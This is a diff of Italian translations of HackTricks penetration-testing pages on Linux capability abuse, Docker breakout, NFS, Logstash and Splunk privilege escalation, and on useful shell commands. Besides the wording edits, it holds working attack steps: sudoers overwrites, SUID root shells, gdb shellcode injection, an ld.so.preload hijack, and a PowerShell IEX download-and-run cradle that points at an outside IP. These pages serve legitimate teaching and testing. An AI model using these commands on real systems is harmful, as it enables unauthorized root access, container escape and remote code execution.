filtro seccomp su `ptrace(2)`, può compromettere significativamente la sicurezza del sistema. In particolare, può essere sfruttato per eludere altre restrizioni di sicurezza, in particolare quelle imposte da seccomp, come dimostrato da [proofs of concept (PoC) come questo](https://gist.github.com/thejh/8346f47e359adecd1d53). **Esempio con binario (python)** ```bash @@ -595,7 +595,7 @@ gdb -p 1234 Non sarai in grado di vedere l'output del comando eseguito, ma verrà eseguito da quel processo (quindi ottieni una rev shell). > [!WARNING] -> Se ricevi l'errore "No symbol "system" in current context." controlla l'esempio precedente che carica uno shellcode in un programma tramite gdb. +> Se ricevi l'errore "No symbol "system" in current context.", controlla l'esempio precedente che carica un shellcode in un programma tramite gdb. **Esempio con ambiente (Docker breakout) - Iniezione di Shellcode** @@ -612,7 +612,7 @@ uid=0(root) gid=0(root) groups=0(root ``` -Elenca i **processi** in esecuzione nell'**host** `ps -eaf` +Elenca **processi** in esecuzione nell'**host** `ps -eaf` 1. Ottieni l'**architettura** `uname -m` 2. Trova un **shellcode** per l'architettura ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128)) @@ -651,7 +651,7 @@ km.modprobe("reverse-shell") ``` **Esempio 2 con binario** -Nel seguente esempio, il binario **`kmod`** ha questa capacità. +Nel seguente esempio il binario **`kmod`** ha questa capacità. ```bash getcap -r / 2>/dev/null /bin/kmod = cap_sys_module+ep @@ -710,7 +710,7 @@ clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean ``` > [!WARNING] -> Il carattere vuoto prima di ogni parola make nel Makefile **deve essere un tab, non spazi**! +> Il carattere vuoto prima di ogni parola make nel Makefile **deve essere una tabulazione, non spazi**! Esegui `make` per compilarlo. ``` @@ -733,7 +733,7 @@ Un altro esempio di questa tecnica può essere trovato in [https://www.cyberark. ## CAP_DAC_READ_SEARCH -[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) consente a un processo di **bypassare i permessi per la lettura dei file e per la lettura e l'esecuzione delle directory**. Il suo utilizzo principale è per scopi di ricerca o lettura di file. Tuttavia, consente anche a un processo di utilizzare la funzione `open_by_handle_at(2)`, che può accedere a qualsiasi file, inclusi quelli al di fuori dello spazio dei nomi di montaggio del processo. L'identificatore utilizzato in `open_by_handle_at(2)` dovrebbe essere un identificatore non trasparente ottenuto tramite `name_to_handle_at(2)`, ma può includere informazioni sensibili come i numeri degli inode che sono vulnerabili a manomissioni. Il potenziale di sfruttamento di questa capacità, in particolare nel contesto dei contenitori Docker, è stato dimostrato da Sebastian Krahmer con l'exploit shocker, come analizzato [qui](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3). +[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) consente a un processo di **bypassare i permessi per la lettura dei file e per la lettura e l'esecuzione delle directory**. Il suo utilizzo principale è per scopi di ricerca o lettura di file. Tuttavia, consente anche a un processo di utilizzare la funzione `open_by_handle_at(2)`, che può accedere a qualsiasi file, inclusi quelli al di fuori dello spazio dei nomi di montaggio del processo. L'identificatore utilizzato in `open_by_handle_at(2)` dovrebbe essere un identificatore non trasparente ottenuto tramite `name_to_handle_at(2)`, ma può includere informazioni sensibili come numeri di inode che sono vulnerabili a manomissioni. Il potenziale di sfruttamento di questa capacità, in particolare nel contesto dei contenitori Docker, è stato dimostrato da Sebastian Krahmer con l'exploit shocker, come analizzato [qui](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3). **Questo significa che puoi** **bypassare i controlli dei permessi di lettura dei file e i controlli dei permessi di lettura/esecuzione delle directory.** **Esempio con binario** @@ -938,7 +938,7 @@ return 0; **Questo significa che puoi bypassare i controlli dei permessi di scrittura su qualsiasi file, quindi puoi scrivere qualsiasi file.** -Ci sono molti file che puoi **sovrascrivere per escalare i privilegi,** [**puoi prendere spunti da qui**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). +Ci sono molti file che puoi **sovrascrivere per escalare i privilegi,** [**puoi trovare idee qui**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). **Esempio con binario** @@ -951,13 +951,13 @@ vim /etc/sudoers #To overwrite it ``` **Esempio con binario 2** -In questo esempio **`python`** avrà questa capacità. Potresti usare python per sovrascrivere qualsiasi file: +In questo esempio, il binario **`python`** avrà questa capacità. Potresti usare python per sovrascrivere qualsiasi file: ```python file=open("/etc/sudoers","a") file.write("yourusername ALL=(ALL) NOPASSWD:ALL") file.close() ``` -**Esempio con ambiente + CAP_DAC_READ_SEARCH (uscita da Docker)** +**Esempio con ambiente + CAP_DAC_READ_SEARCH (Docker breakout)** Puoi controllare le capacità abilitate all'interno del contenitore docker usando: ```bash @@ -1163,7 +1163,7 @@ os.system("/bin/bash") ``` ## CAP_SETGID -**Questo significa che è possibile impostare l'ID di gruppo efficace del processo creato.** +**Questo significa che è possibile impostare l'ID di gruppo effettivo del processo creato.** Ci sono molti file che puoi **sovrascrivere per elevare i privilegi,** [**puoi prendere spunti da qui**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). @@ -1178,7 +1178,7 @@ find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null #Find every file readable by a group in /etc with a maxpath of 1 find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null ``` -Una volta trovato un file che puoi sfruttare (leggendolo o scrivendolo) per elevare i privilegi, puoi **ottenere una shell impersonando il gruppo interessante** con: +Una volta trovato un file che puoi sfruttare (tramite lettura o scrittura) per elevare i privilegi, puoi **ottenere una shell impersonando il gruppo interessante** con: ```python import os os.setgid(42) @@ -1256,22 +1256,22 @@ bash: /usr/bin/gdb: Operation not permitted [From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: Questo è un **sottoinsieme limitante delle capacità effettive** che il thread può assumere. È anche un sottoinsieme limitante delle capacità che possono essere aggiunte al set ereditabile da un thread che **non ha la capacità CAP_SETPCAP** nel suo set effettivo._\ Sembra che le capacità Permitted limitino quelle che possono essere utilizzate.\ Tuttavia, Docker concede anche il **CAP_SETPCAP** per impostazione predefinita, quindi potresti essere in grado di **impostare nuove capacità all'interno di quelle ereditabili**.\ -Tuttavia, nella documentazione di questa cap: _CAP_SETPCAP : \[…] **aggiunge qualsiasi capacità dal set di bounding del thread chiamante** al suo set ereditabile_.\ -Sembra che possiamo solo aggiungere al set ereditabile capacità dal set di bounding. Ciò significa che **non possiamo mettere nuove capacità come CAP_SYS_ADMIN o CAP_SYS_PTRACE nel set ereditabile per escalare i privilegi**. +Tuttavia, nella documentazione di questa capacità: _CAP_SETPCAP : \[…] **aggiunge qualsiasi capacità dal set di bounding del thread chiamante** al suo set ereditabile_.\ +Sembra che possiamo solo aggiungere al set ereditabile capacità dal set di bounding. Ciò significa che **non possiamo inserire nuove capacità come CAP_SYS_ADMIN o CAP_SYS_PTRACE nel set ereditabile per escalare i privilegi**. ## CAP_SYS_RAWIO -[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) fornisce una serie di operazioni sensibili tra cui l'accesso a `/dev/mem`, `/dev/kmem` o `/proc/kcore`, modificare `mmap_min_addr`, accedere alle chiamate di sistema `ioperm(2)` e `iopl(2)`, e vari comandi del disco. L'`FIBMAP ioctl(2)` è anche abilitato tramite questa capacità, il che ha causato problemi in [passato](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). Secondo la pagina man, questo consente anche al titolare di descrittivamente `eseguire una serie di operazioni specifiche per dispositivo su altri dispositivi`. +[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) fornisce una serie di operazioni sensibili tra cui l'accesso a `/dev/mem`, `/dev/kmem` o `/proc/kcore`, modificare `mmap_min_addr`, accedere alle chiamate di sistema `ioperm(2)` e `iopl(2)`, e vari comandi del disco. L'`FIBMAP ioctl(2)` è anche abilitato tramite questa capacità, che ha causato problemi in [passato](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). Secondo la pagina man, questo consente anche al detentore di `eseguire una serie di operazioni specifiche per dispositivo su altri dispositivi`. Questo può essere utile per **l'escalation dei privilegi** e **il breakout di Docker.** ## CAP_KILL -**Questo significa che è possibile uccidere qualsiasi processo.** +**Questo significa che è possibile terminare qualsiasi processo.** **Esempio con binario** -Supponiamo che il **`python`** binario abbia questa capacità. Se potessi **anche modificare alcune configurazioni di servizio o socket** (o qualsiasi file di configurazione relativo a un servizio), potresti inserire una backdoor, e poi uccidere il processo relativo a quel servizio e aspettare che il nuovo file di configurazione venga eseguito con la tua backdoor. +Supponiamo che il **`python`** binario abbia questa capacità. Se potessi **anche modificare alcune configurazioni di servizio o socket** (o qualsiasi file di configurazione relativo a un servizio), potresti inserire una backdoor, e poi terminare il processo relativo a quel servizio e attendere che il nuovo file di configurazione venga eseguito con la tua backdoor. ```python #Use this python code to kill arbitrary processes import os @@ -1290,7 +1290,6 @@ kill -s SIGUSR1 electron-cef-chromium-debugger-abuse.md {{#endref}} - ## CAP_NET_BIND_SERVICE **Questo significa che è possibile ascoltare su qualsiasi porta (anche su quelle privilegiate).** Non puoi elevare i privilegi direttamente con questa capacità. @@ -1325,7 +1324,7 @@ s.connect(('10.10.10.10',500)) ## CAP_NET_RAW -[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) la capacità consente ai processi di **creare socket RAW e PACKET**, permettendo loro di generare e inviare pacchetti di rete arbitrari. Questo può portare a rischi per la sicurezza in ambienti containerizzati, come spoofing dei pacchetti, iniezione di traffico e bypass dei controlli di accesso alla rete. Attori malintenzionati potrebbero sfruttare questo per interferire con il routing dei container o compromettere la sicurezza della rete host, specialmente senza adeguate protezioni del firewall. Inoltre, **CAP_NET_RAW** è cruciale per i container privilegiati per supportare operazioni come il ping tramite richieste ICMP RAW. +[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) la capacità consente ai processi di **creare socket RAW e PACKET**, permettendo loro di generare e inviare pacchetti di rete arbitrari. Questo può portare a rischi per la sicurezza in ambienti containerizzati, come spoofing dei pacchetti, iniezione di traffico e bypass dei controlli di accesso alla rete. Attori malintenzionati potrebbero sfruttare questo per interferire con il routing dei container o compromettere la sicurezza della rete host, specialmente senza adeguate protezioni del firewall. Inoltre, **CAP_NET_RAW** è cruciale per i container privilegiati per supportare operazioni come ping tramite richieste ICMP RAW. **Questo significa che è possibile sniffare il traffico.** Non puoi elevare i privilegi direttamente con questa capacità. @@ -1452,9 +1451,9 @@ f.write('New content for the file\n') ## CAP_SYSLOG -[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) è stato separato dal più ampio **CAP_SYS_ADMIN** in Linux 2.6.37, concedendo specificamente la possibilità di utilizzare la chiamata `syslog(2)`. Questa capacità consente di visualizzare gli indirizzi del kernel tramite `/proc` e interfacce simili quando l'impostazione `kptr_restrict` è a 1, che controlla l'esposizione degli indirizzi del kernel. Dalla versione 2.6.39 di Linux, il valore predefinito per `kptr_restrict` è 0, il che significa che gli indirizzi del kernel sono esposti, anche se molte distribuzioni impostano questo valore a 1 (nascondere gli indirizzi tranne che per uid 0) o 2 (nascondere sempre gli indirizzi) per motivi di sicurezza. +[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) è stato separato dal più ampio **CAP_SYS_ADMIN** in Linux 2.6.37, concedendo specificamente la possibilità di utilizzare la chiamata `syslog(2)`. Questa capacità consente la visualizzazione degli indirizzi del kernel tramite `/proc` e interfacce simili quando l'impostazione `kptr_restrict` è a 1, che controlla l'esposizione degli indirizzi del kernel. Dalla versione 2.6.39 di Linux, il valore predefinito per `kptr_restrict` è 0, il che significa che gli indirizzi del kernel sono esposti, anche se molte distribuzioni impostano questo valore a 1 (nascondere gli indirizzi tranne che per uid 0) o 2 (nascondere sempre gli indirizzi) per motivi di sicurezza. -Inoltre, **CAP_SYSLOG** consente di accedere all'output di `dmesg` quando `dmesg_restrict` è impostato a 1. Nonostante questi cambiamenti, **CAP_SYS_ADMIN** mantiene la capacità di eseguire operazioni `syslog` a causa di precedenti storici. +Inoltre, **CAP_SYSLOG** consente l'accesso all'output di `dmesg` quando `dmesg_restrict` è impostato a 1. Nonostante questi cambiamenti, **CAP_SYS_ADMIN** mantiene la capacità di eseguire operazioni `syslog` a causa di precedenti storici. ## CAP_MKNOD diff --git a/src/linux-hardening/privilege-escalation/logstash.md b/src/linux-hardening/privilege-escalation/logstash.md index 703ac00e1..0c67b0d8c 100644 --- a/src/linux-hardening/privilege-escalation/logstash.md +++ b/src/linux-hardening/privilege-escalation/logstash.md @@ -18,18 +18,18 @@ path.config: "/etc/logstash/conf.d/*.conf" path.config: "/usr/share/logstash/pipeline/1*.conf" pipeline.workers: 6 ``` -Questo file rivela dove si trovano i file **.conf**, contenenti configurazioni dei pipeline. Quando si utilizza un **Elasticsearch output module**, è comune che i **pipelines** includano **Elasticsearch credentials**, che spesso possiedono ampi privilegi a causa della necessità di Logstash di scrivere dati su Elasticsearch. I caratteri jolly nei percorsi di configurazione consentono a Logstash di eseguire tutti i pipeline corrispondenti nella directory designata. +Questo file rivela dove si trovano i file **.conf**, contenenti configurazioni dei pipeline. Quando si utilizza un **modulo di output Elasticsearch**, è comune che i **pipeline** includano **credenziali Elasticsearch**, che spesso possiedono ampi privilegi a causa della necessità di Logstash di scrivere dati in Elasticsearch. I caratteri jolly nei percorsi di configurazione consentono a Logstash di eseguire tutti i pipeline corrispondenti nella directory designata. -### Privilege Escalation via Writable Pipelines +### Escalation dei privilegi tramite pipeline scrivibili -Per tentare l'escalation dei privilegi, prima identifica l'utente sotto il quale il servizio Logstash è in esecuzione, tipicamente l'utente **logstash**. Assicurati di soddisfare **uno** di questi criteri: +Per tentare un'escalation dei privilegi, prima identifica l'utente sotto il quale il servizio Logstash è in esecuzione, tipicamente l'utente **logstash**. Assicurati di soddisfare **uno** di questi criteri: -- Possedere **accesso in scrittura** a un file **.conf** del pipeline **o** +- Possedere **accesso in scrittura** a un file **.conf** del pipeline **oppure** - Il file **/etc/logstash/pipelines.yml** utilizza un carattere jolly e puoi scrivere nella cartella di destinazione Inoltre, **una** di queste condizioni deve essere soddisfatta: -- Capacità di riavviare il servizio Logstash **o** +- Capacità di riavviare il servizio Logstash **oppure** - Il file **/etc/logstash/logstash.yml** ha **config.reload.automatic: true** impostato Data la presenza di un carattere jolly nella configurazione, creare un file che corrisponde a questo carattere jolly consente l'esecuzione di comandi. Ad esempio: @@ -50,7 +50,7 @@ codec => rubydebug ``` Qui, **interval** determina la frequenza di esecuzione in secondi. Nell'esempio fornito, il comando **whoami** viene eseguito ogni 120 secondi, con il suo output diretto a **/tmp/output.log**. -Con **config.reload.automatic: true** in **/etc/logstash/logstash.yml**, Logstash rileverà automaticamente e applicherà nuove o modificate configurazioni della pipeline senza necessità di riavvio. Se non c'è un carattere jolly, le modifiche possono comunque essere apportate alle configurazioni esistenti, ma si consiglia cautela per evitare interruzioni. +Con **config.reload.automatic: true** in **/etc/logstash/logstash.yml**, Logstash rileverà automaticamente e applicherà nuove o modificate configurazioni della pipeline senza necessità di riavvio. Se non c'è alcun carattere jolly, le modifiche possono comunque essere apportate alle configurazioni esistenti, ma si consiglia cautela per evitare interruzioni. ## References diff --git a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md index 7a0745424..265fbdfd3 100644 --- a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +++ b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md @@ -25,7 +25,7 @@ chmod +s bash cd ./bash -p #ROOT shell ``` -- **Montare quella directory** in una macchina client e **come root copiare** all'interno della cartella montata il nostro payload compilato che sfrutterà il permesso SUID, dargli diritti **SUID** e **eseguire da** quella macchina vittima quel binario (puoi trovare qui alcuni [C SUID payloads](payloads-to-execute.md#c)). +- **Montare quella directory** in una macchina client, e **come root copiare** all'interno della cartella montata il nostro payload compilato che sfrutterà il permesso SUID, dargli diritti **SUID**, e **eseguire da macchina vittima** quel binario (puoi trovare qui alcuni [C SUID payloads](payloads-to-execute.md#c)). ```bash #Attacker, as root user gcc payload.c -o payload @@ -42,8 +42,8 @@ cd ## Local Exploit > [!NOTE] -> Nota che se puoi creare un **tunnel dalla tua macchina alla macchina della vittima, puoi comunque utilizzare la versione Remota per sfruttare questa escalation di privilegi tunnelando le porte richieste**.\ -> Il seguente trucco è nel caso in cui il file `/etc/exports` **indichi un IP**. In questo caso **non sarai in grado di utilizzare** in nessun caso il **remote exploit** e dovrai **sfruttare questo trucco**.\ +> Nota che se puoi creare un **tunnel dalla tua macchina a quella della vittima, puoi comunque utilizzare la versione Remota per sfruttare questa escalation di privilegi tunnelando le porte richieste**.\ +> Il seguente trucco è nel caso in cui il file `/etc/exports` **indichi un IP**. In questo caso **non potrai utilizzare** in nessun caso il **remote exploit** e dovrai **sfruttare questo trucco**.\ > Un altro requisito necessario affinché l'exploit funzioni è che **l'export all'interno di `/etc/export`** **deve utilizzare il flag `insecure`**.\ > --_Non sono sicuro che se `/etc/export` indica un indirizzo IP questo trucco funzionerà_-- diff --git a/src/linux-hardening/privilege-escalation/payloads-to-execute.md b/src/linux-hardening/privilege-escalation/payloads-to-execute.md index fbd094185..9f7eb81c3 100644 --- a/src/linux-hardening/privilege-escalation/payloads-to-execute.md +++ b/src/linux-hardening/privilege-escalation/payloads-to-execute.md @@ -44,7 +44,7 @@ execve(paramList[0], paramList, NULL); return 0; } ``` -## Sovrascrivere un file per escalare i privilegi +## Sovrascrivere un file per elevare i privilegi ### File comuni @@ -76,7 +76,7 @@ objdump -T /bin/su | grep audit 0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message 000000000020e968 g DO .bss 0000000000000004 Base audit_fd ``` -I simboli `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` e `audit_fd` provengono probabilmente dalla libreria libaudit.so.1. Poiché la libaudit.so.1 sarà sovrascritta dalla libreria condivisa malevola, questi simboli dovrebbero essere presenti nella nuova libreria condivisa, altrimenti il programma non sarà in grado di trovare il simbolo e terminerà. +I simboli `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` e `audit_fd` provengono probabilmente dalla libreria libaudit.so.1. Poiché la libaudit.so.1 verrà sovrascritta dalla libreria condivisa malevola, questi simboli dovrebbero essere presenti nella nuova libreria condivisa, altrimenti il programma non sarà in grado di trovare il simbolo e terminerà. ```c #include #include diff --git a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md index 36618bdb6..403c5c93d 100644 --- a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md @@ -1,4 +1,4 @@ -# Elevazione di privilegi di RunC +# Elevazione dei privilegi di RunC {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/selinux.md b/src/linux-hardening/privilege-escalation/selinux.md index c81f26f84..6d9b7edc1 100644 --- a/src/linux-hardening/privilege-escalation/selinux.md +++ b/src/linux-hardening/privilege-escalation/selinux.md @@ -4,9 +4,9 @@ [Introduzione e esempio dalla documentazione di redhat](https://www.redhat.com/sysadmin/privileged-flag-container-engines) -[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) è un **sistema di etichettatura**. Ogni **processo** e ogni **oggetto** del file system ha un'**etichetta**. Le politiche SELinux definiscono regole su cosa un'**etichetta di processo** è autorizzata a fare con tutte le altre etichette nel sistema. +[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) è un **sistema di etichettatura**. Ogni **processo** e ogni **oggetto** del file system ha un'**etichetta**. Le politiche SELinux definiscono regole su cosa un **processo etichettato** è autorizzato a fare con tutte le altre etichette nel sistema. -I motori dei contenitori avviano **processi di contenitore con un'unica etichetta SELinux confinata**, di solito `container_t`, e poi impostano il contenitore all'interno del contenitore per essere etichettato `container_file_t`. Le regole della politica SELinux dicono fondamentalmente che i **processi `container_t` possono solo leggere/scrivere/eseguire file etichettati `container_file_t`**. Se un processo di contenitore sfugge al contenitore e tenta di scrivere contenuti sull'host, il kernel Linux nega l'accesso e consente solo al processo di contenitore di scrivere contenuti etichettati `container_file_t`. +I motori dei contenitori avviano **processi di contenitore con un'unica etichetta SELinux confinata**, di solito `container_t`, e poi impostano il contenitore all'interno del contenitore per essere etichettato `container_file_t`. Le regole della politica SELinux dicono fondamentalmente che i **processi `container_t` possono solo leggere/scrivere/eseguire file etichettati `container_file_t`**. Se un processo di contenitore sfugge al contenitore e tenta di scrivere su contenuti sull'host, il kernel Linux nega l'accesso e consente solo al processo di contenitore di scrivere su contenuti etichettati `container_file_t`. ```shell $ podman run -d fedora sleep 100 d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb diff --git a/src/linux-hardening/privilege-escalation/socket-command-injection.md b/src/linux-hardening/privilege-escalation/socket-command-injection.md index 94af09bec..2e8040891 100644 --- a/src/linux-hardening/privilege-escalation/socket-command-injection.md +++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md @@ -2,7 +2,7 @@ ## Esempio di binding socket con Python -Nell'esempio seguente viene **creato un socket unix** (`/tmp/socket_test.s`) e tutto ciò che viene **ricevuto** verrà **eseguito** da `os.system`. So che non troverai questo nella realtà, ma l'obiettivo di questo esempio è vedere come appare un codice che utilizza socket unix e come gestire l'input nel peggior caso possibile. +In the following example a **unix socket is created** (`/tmp/socket_test.s`) and everything **received** is going to be **executed** by `os.system`. So che non troverai questo nella natura, ma l'obiettivo di questo esempio è vedere come appare un codice che utilizza socket unix e come gestire l'input nel peggior caso possibile. ```python:s.py import socket import os, os.path diff --git a/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md b/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md index a812e63b7..f169f24bc 100644 --- a/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md +++ b/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md @@ -4,7 +4,7 @@ Se **enumerando** una macchina **internamente** o **esternamente** trovi **Splunk in esecuzione** (porta 8090), se per fortuna conosci delle **credenziali valide** puoi **sfruttare il servizio Splunk** per **eseguire una shell** come l'utente che esegue Splunk. Se è in esecuzione come root, puoi elevare i privilegi a root. -Inoltre, se sei **già root e il servizio Splunk non ascolta solo su localhost**, puoi **rubare** il file **password** **dal** servizio Splunk e **crackare** le password, o **aggiungere nuove** credenziali. E mantenere la persistenza sull'host. +Inoltre, se sei **già root e il servizio Splunk non ascolta solo su localhost**, puoi **rubare** il file **della password** **dal** servizio Splunk e **crackare** le password, o **aggiungere nuove** credenziali. E mantenere la persistenza sull'host. Nella prima immagine qui sotto puoi vedere come appare una pagina web di Splunkd. diff --git a/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md b/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md index 5dcc94b65..d92b9020c 100644 --- a/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md +++ b/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md @@ -16,7 +16,7 @@ SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston Quando imposti la variabile `SSH_AUTH_SOCK` stai accedendo alle chiavi di Bob che sono state utilizzate nella connessione ssh di Bob. Poi, se la sua chiave privata è ancora lì (normalmente lo sarà), sarai in grado di accedere a qualsiasi host utilizzandola. -Poiché la chiave privata è salvata nella memoria dell'agente in chiaro, suppongo che se sei Bob ma non conosci la password della chiave privata, puoi comunque accedere all'agente e usarla. +Poiché la chiave privata è salvata nella memoria dell'agente in chiaro, suppongo che se sei Bob ma non conosci la password della chiave privata, puoi comunque accedere all'agente e usarlo. Un'altra opzione è che l'utente proprietario dell'agente e root possano accedere alla memoria dell'agente ed estrarre la chiave privata. diff --git a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md index d07d44856..17adda43e 100644 --- a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md +++ b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md @@ -41,7 +41,7 @@ In **7z** anche usando `--` prima di `*` (nota che `--` significa che l'input su ```bash 7za a /backup/$filename.zip -t7z -snl -p$pass -- * ``` -E puoi creare file nella cartella in cui viene eseguito questo, potresti creare il file `@root.txt` e il file `root.txt` che è un **symlink** al file che vuoi leggere: +E puoi creare file nella cartella in cui viene eseguito questo, potresti creare il file `@root.txt` e il file `root.txt` come un **symlink** al file che vuoi leggere: ```bash cd /path/to/7z/acting/folder touch @root.txt diff --git a/src/linux-hardening/privilege-escalation/write-to-root.md b/src/linux-hardening/privilege-escalation/write-to-root.md index 78ac2c9d1..05a9ac3ad 100644 --- a/src/linux-hardening/privilege-escalation/write-to-root.md +++ b/src/linux-hardening/privilege-escalation/write-to-root.md @@ -4,7 +4,7 @@ ### /etc/ld.so.preload -Questo file si comporta come la variabile d'ambiente **`LD_PRELOAD`** ma funziona anche nei **binaries SUID**.\ +Questo file si comporta come la variabile d'ambiente **`LD_PRELOAD`** ma funziona anche con i **binaries SUID**.\ Se puoi crearlo o modificarlo, puoi semplicemente aggiungere un **percorso a una libreria che verrà caricata** con ogni binary eseguito. Ad esempio: `echo "/tmp/pe.so" > /etc/ld.so.preload` diff --git a/src/linux-hardening/useful-linux-commands.md b/src/linux-hardening/useful-linux-commands.md index 2ee9f1b39..0abb078c9 100644 --- a/src/linux-hardening/useful-linux-commands.md +++ b/src/linux-hardening/useful-linux-commands.md @@ -1,17 +1,8 @@ -# Useful Linux Commands - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +# Comandi Linux Utili {{#include ../banners/hacktricks-training.md}} -## Common Bash - +## Bash Comuni ```bash #Exfiltration using Base64 base64 -w 0 file @@ -130,17 +121,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it # List files inside zip 7z l file.zip ``` - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - -## Bash for Windows - +## Bash per Windows ```bash #Base64 for Windows echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 @@ -160,9 +141,7 @@ python pyinstaller.py --onefile exploit.py #sudo apt-get install gcc-mingw-w64-i686 i686-mingw32msvc-gcc -o executable useradd.c ``` - ## Greps - ```bash #Extract emails from file grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt @@ -242,9 +221,7 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt #Extract ISBN Numbers egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt ``` - -## Find - +## Trova ```bash # Find SUID set files. find / -perm /u=s -ls 2>/dev/null @@ -273,25 +250,19 @@ find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /p # Found Newer directory only and sort by time. (depth = 5) find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less ``` - -## Nmap search help - +## Aiuto per la ricerca Nmap ```bash #Nmap scripts ((default or version) and smb)) nmap --script-help "(default or version) and *smb*" locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb nmap --script-help "(default or version) and smb)" ``` - ## Bash - ```bash #All bytes inside a file (except 0x20 and 0x00) for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done ``` - ## Iptables - ```bash #Delete curent rules and chains iptables --flush @@ -322,13 +293,4 @@ iptables -P INPUT DROP iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT ``` - {{#include ../banners/hacktricks-training.md}} - -
